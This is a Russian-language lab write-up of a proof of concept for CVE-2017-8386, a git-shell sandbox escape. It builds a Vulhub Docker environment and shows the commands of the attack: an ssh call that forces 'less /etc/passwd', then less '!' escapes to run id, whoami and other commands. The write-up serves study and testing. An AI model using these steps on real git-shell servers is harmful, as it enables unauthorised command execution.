
PoC для уязвимости обхода песочницы Git-Shell CVE-2017-8386.
Чон Суджин (@suz1n)
Git-shell предоставляет среду, в которой через SSH разрешены только ограниченные git-команды. Однако в определённых версиях git-shell (например, 2.12.2) существует уязвимость (CVE-2017-8386), позволяющая обойти песочницу и выполнить системные команды с помощью команды less.
Данный отчёт описывает проведение PoC для этой уязвимости и обобщает процесс его выполнения.
git clone https://github.com/phith0n/vulhub.git
cd vulhub/git/CVE-2017-8386/

• Базовый образ Ubuntu 16.04
• Установка Git 2.12.2 из исходников
• Установка и запуск OpenSSH-сервера
• Настройка окружения git-shell (создание пользователя git)
docker-compose build
docker-compose up -d
docker ps
• Проверка запуска контейнера (git-shell-cve-2017-8386)

1. Создание и копирование id_rsa.pub на локальной машине
2. Подключение к контейнеру и переключение на пользователя git
3. Регистрация authorized_keys
docker exec -it git-shell-cve-2017-8386 /bin/bash
chsh -s /bin/bash git
su git
mkdir -p ~/.ssh
chmod 700 ~/.ssh
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
vim ~/.ssh/authorized_keys

apt update
apt install less -y
apt install man-db -y
• Установлены пакеты less и man для выполнения PoC
ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"
• Успешный вход в интерфейс less
• Возможно выполнение системных команд через команду !
• !id -> вывод идентификатора пользователя и группы

• !whoami -> текущий пользователь (git)
• !uname -a -> вывод информации о ядре системы
• !ls /home/git -> вывод списка файлов в домашнем каталоге git
• Окружение git-shell ограничивает пользователя, не позволяя выполнять системные команды.
• Однако с помощью команды `git-upload-archive --help` можно внутренне вызвать less.
• Команда less поддерживает выполнение системных команд через функцию !.
• В итоге можно обойти песочницу git-shell и выполнить произвольные команды.
• Блог Insinuator: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
• Репозиторий Vulhub на GitHub: https://github.com/phith0n/vulhub